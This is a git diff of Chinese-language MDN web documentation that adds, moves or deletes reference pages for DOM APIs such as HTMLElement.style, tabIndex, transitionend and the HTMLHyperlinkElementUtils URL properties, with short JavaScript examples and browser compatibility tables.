注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

- -

例子

- -
// 在单个语句中设置多个样式
-elt.style.cssText = "color: blue; border: 1px solid black";
-// 或者
-elt.setAttribute("style", "color:red; border: 1px solid blue;");
-
-// 设置特定样式,同时保持其他内联样式值不变
-elt.style.color = "blue";
-
- -

获取元素样式信息

- -

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

- -
<!DOCTYPE HTML>
-<html>
-<body style="font-weight:bold;">
-
-    <div style="color:red" id="myElement">..</div>
-
- </body>
-</html>
- -

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

- -
var element = document.getElementById("myElement");
-var out = "";
-var elementStyle = element.style;
-var computedStyle = window.getComputedStyle(element, null);
-
-for (prop in elementStyle) {
-  if (elementStyle.hasOwnProperty(prop)) {
-    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
-  }
-}
-console.log(out)
- -

输出结果如下:

- -
...
-fontWeight = '' > 'bold'
-color = 'red' > 'rgb(255, 0, 0)'
-...
-
- -

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

- -

规范

- -

DOM Level 2 Style: ElementCSSInlineStyle.style

- -

CSSOM: ElementCSSInlineStyle

- -

兼容性

- - - -

{{Compat("api.HTMLElement.style")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlelement/tabindex/index.html b/files/zh-cn/web/api/htmlelement/tabindex/index.html deleted file mode 100644 index 516c659c2a..0000000000 --- a/files/zh-cn/web/api/htmlelement/tabindex/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex -translation_of: Web/API/HTMLOrForeignElement/tabIndex ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

概述

- -

获取或设置当前元素的tab键激活顺序.

- -

语法

- -
element.tabIndex = index index = element.tabIndex
-
- -

参数

- - - -

Tab键的遍历顺序是这样的:

- -
    -
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. -
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. -
  5. 处于不可用状态的元素不会被遍历到。
  6. -
- -

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

- -

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

- -

例子

- -
var b1 = document.getElementById("button1");
-b1.tabIndex = 1;
-
- -

规范

- -

W3C DOM Level 2 HTML tabIndex

- -

了解更多,请查看: The solution: changes to standard behavior of tabindex

- -

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html new file mode 100644 index 0000000000..f79db8503a --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -0,0 +1,132 @@ +--- +title: transitionend +slug: Web/Events/transitionend +translation_of: Web/API/HTMLElement/transitionend_event +--- +
{{APIRef}}
+ +

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时,比如移除css的{{cssxref("transition-property")}} 属性,事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none",事件同样不会被触发。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

transitionend 事件是双向触发的 - 当完成到转换状态的过渡,以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间,即两者的值都为0s或者都未声明, 则不发生过渡,并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件,则transitionend 事件不会触发。

+ +

+ +
/*
+ * 在指定的元素上监听transitionend事件, 例如#slidingMenu
+ * 然后指定一个函数, 例如 showMessage()
+ */
+function showMessage() {
+    console.log('Transition 已完成');
+}
+
+var element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", showMessage, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
+ 36
{{CompatGeckoDesktop("2.0")}}1010.5[2]
+ 12
+ 12.10
+ 23
3.2[1]
+ 7.0.6
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
+ 12
+ 12.10
3.2[1]
+
+ +

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

+ +

[2] 在 Opera 10.5 上实现oTransitionEnd,从版本12开始实现 otransitionend, 从版本12.10开始实现 transitionend.

+ +

参考

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html new file mode 100644 index 0000000000..5d8cc21f43 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html @@ -0,0 +1,109 @@ +--- +title: HTMLHyperlinkElementUtils.hash +slug: Web/API/URLUtils/hash +tags: + - HTMLHyperlinkElementUtils.hash +translation_of: Web/API/HTMLHyperlinkElementUtils/hash +--- +

{{ APIRef("URLUtils") }}

+ +

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

+ +

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

+ +

Syntax

+ +
string = object.hash;
+object.hash = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.hash; // Returns:'#youhou'
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html new file mode 100644 index 0000000000..cff669766d --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html @@ -0,0 +1,108 @@ +--- +title: HTMLHyperlinkElementUtils.href +slug: Web/API/URLUtils/href +tags: + - HTMLHyperlinkElementUtils.href +translation_of: Web/API/HTMLHyperlinkElementUtils/href +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

+ +

Syntax

+ +
string = object.href;
+object.href = string;
+
+ +

Examples

+ +
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html new file mode 100644 index 0000000000..e8d6c719d9 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html @@ -0,0 +1,83 @@ +--- +title: URLUtils +slug: Web/API/URLUtils +translation_of: Web/API/HTMLHyperlinkElementUtils +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

+ +

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

+ +

属性

+ +
+

注意:This interface doesn't inherit any property.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.href")}}
+
This is a {{domxref("USVString")}} containing the whole URL.
+
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
+
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("HTMLHyperlinkElementUtils.host")}}
+
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
+
This is a {{domxref("USVString")}} containing the domain of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.port")}}
+
This is a {{domxref("USVString")}} containing the port number of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
+
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.search")}}
+
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.hash")}}
+
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("HTMLHyperlinkElementUtils.username")}}
+
This is a {{domxref("USVString")}} containing the username specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.password")}}
+
This is a {{domxref("USVString")}} containing the password specified before the domain name.
+
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
+
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
+
+ +

方法

+ +
+

注意:This interface doesn't inherit any method.

+
+ +
+
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
+
This returns a {{domxref("USVString")}} containing the whole URL. It is a synonym for {{domxref("HTMLHyperlinkElementUtils.href")}}, though it can't be used to modify the value.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLHyperlinkElementUtils")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html new file mode 100644 index 0000000000..d0f8d926ec --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.origin +slug: Web/API/URLUtils/origin +tags: + - HTMLHyperlinkElementUtils.origin +translation_of: Web/API/HTMLHyperlinkElementUtils/origin +--- +

{{APIRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.origin 只读属性是一个 {{domxref("USVString")}} ,其中包含代表URL的原始码的Unicode序列化,即:

+ + + +

{{AvailableInWorkers}}

+ +

Syntax

+ +
string = object.origin;
+
+ +

Examples

+ +
// On this page, returns the origin
+var result = window.location.origin; // Returns:'https://developer.mozilla.org'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-origin', 'HTMLHyperlinkElementUtils.origin')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("26.0")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Gecko 49, results for URL using the blob scheme incorrectly returned null.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html new file mode 100644 index 0000000000..99e9944875 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html @@ -0,0 +1,104 @@ +--- +title: HTMLHyperlinkElementUtils.password +slug: Web/API/URLUtils/password +tags: + - HTMLHyperlinkElementUtils.password +translation_of: Web/API/HTMLHyperlinkElementUtils/password +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.password property 属性是一个{{domxref("USVString")}} ,包含域名前面指定的密码。

+ +

如果在没有首先设置用户名属性的情况下设置,则会静默失败。

+ +

Syntax

+ +
string = object.password;
+object.password = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.password; // Returns:'flabada'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-prassword', 'HTMLHyperlinkElementUtils.password')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html new file mode 100644 index 0000000000..203da5393a --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.pathname +slug: Web/API/URLUtils/pathname +tags: + - HTMLHyperlinkElementUtils.pathname +translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.pathname 属性是一个 {{domxref("USVString")}} ,其中包含一个初始的'/'后跟URL的路径。

+ +

Syntax

+ +
string = object.pathname;
+object.pathname = string;
+
+ +

Examples

+ +
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.pathname"> element be in the document
+var anchor = document.getElementById("myAnchor");
+var result = anchor.pathname; // Returns:'/en-US/docs/HTMLHyperlinkElementUtils.pathname'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-pathname', 'HTMLHyperlinkElementUtils.pathname')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoDesktop("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatNo}} [2]{{CompatGeckoMobile("22")}} [3][4]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

[4] Before Firefox 53, the pathname and search HTMLHyperLinkElementUtils properties returned the wrong parts of the URL. For example, for a URL of http://z.com/x?a=true&b=false, pathname would return "/x?a=true&b=false" and search would return "", rather than "/x" and "?a=true&b=false" respectively. This has now been fixed.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html new file mode 100644 index 0000000000..4c9c8ae554 --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLHyperlinkElementUtils.search +slug: Web/API/URLUtils/search +tags: + - HTMLHyperlinkElementUtils.search +translation_of: Web/API/HTMLHyperlinkElementUtils/search +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.search 属性是一个搜索字符串,也叫做查询字符串, 它是一个 {{domxref("USVString")}} ,包含 '?' 和随后的 URL 参数。

+ +

语法

+ +
string = object.search;
+object.search = string;
+
+ +

示例

+ +
// 让一个
+// <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123" />
+//  元素在文档里
+
+let anchor = document.getElementById("myAnchor");
+let result = anchor.search;
+// 返回:'?q=123'
+
+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3][4]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]{{CompatVersionUnknown}} [2]
+
+ +

[1] 自Chrome 52起,该属性移至{{domxref('URL')}}

+ +

[2] 虽然没有被分在一个独立的抽象接口,但该方法可以在实现了它的那些接口上直接使用,如果支持该接口。

+ +

[3] 从Gecko 22 到 Gecko 44,该属性在 URLUtils mixin 上。它已经被移到 HTMLHyperlinkElementUtils mixin,或者直接在这个接口上。

+ +

[4] 在 Firefox 53之前, pathname search HTMLHyperLinkElementUtils 属性返回的URL部分是错误的。例如,对一个值为 http://z.com/x?a=true&b=false 的URL,pathname 会返回"/x?a=true&b=false" ,search 会返回 "", 而不是各自返回 "/x" 和"?a=true&b=false" 。这已经被修正了。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html new file mode 100644 index 0000000000..172ffda98b --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLHyperlinkElementUtils.toString() +slug: Web/API/URLUtils/toString +tags: + - HTMLHyperlinkElementUtils.toString() + - URL API +translation_of: Web/API/HTMLHyperlinkElementUtils/toString +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.toString() 方法返回一个包含整个URL的 {{domxref("USVString")}} 。它是{{domxref("HTMLHyperlinkElementUtils.href")}} 的一个只读版本。

+ +

句法

+ +
string = object.toString();
+ +

范例

+ +
/*
+Let's imagine an
+<a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString">
+ element is in the document
+*/
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString();
+// Returns: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [2]{{CompatNo}} [1]{{CompatNo}} [1]{{CompatNo}} [1]
+
+ +

[1] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

+ +

[2] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html new file mode 100644 index 0000000000..2e7a101f9f --- /dev/null +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLHyperlinkElementUtils.username +slug: Web/API/URLUtils/username +tags: + - HTMLHyperlinkElementUtils.username +translation_of: Web/API/HTMLHyperlinkElementUtils/username +--- +

{{ApiRef("URL API")}}

+ +

HTMLHyperlinkElementUtils.username 属性是一个 {{domxref("USVString")}}包含域名前面指定的用户名。

+ +

Syntax

+ +
string = object.username;
+object.username = string;
+
+ +

Examples

+ +
// Let's <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> be in the document
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Returns:'anonymous'
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatGeckoDesktop("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatGeckoMobile("26")}} [2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

+ +

[2] From Gecko 26 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html b/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html deleted file mode 100644 index 0cccf89889..0000000000 --- a/files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: HTMLInputElement.mozSetFileNameArray -slug: Web/API/HTMLInputElement/mozSetFileNameArray -translation_of: Web/API/HTMLInputElement -translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray ---- -
-
-
-
{{APIRef("HTML DOM")}}
-
-
-{{gecko_minversion_header("1.9.2")}}
- -

概述

- -

设置一个HTML input元素中选中的若干文件的路径以及文件名.

- -
注: 该方法是Gecko私有的方法,在其他浏览器中不可用,且是个特权方法,不能在普通网页中使用.
- -

语法

- -
inputElement.mozSetFileNameArray(aFileNames, aLength);
-
- -

参数

- - - -

示例

- -
var fileArray = {"/foo/bar.txt", "/foo/foosball.txt"};
-
-inputElement.mozSetFileNameArray(fileArray, fileArray.length);
-
- -

规范

- -

非标准,Mozilla私有方法.

- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

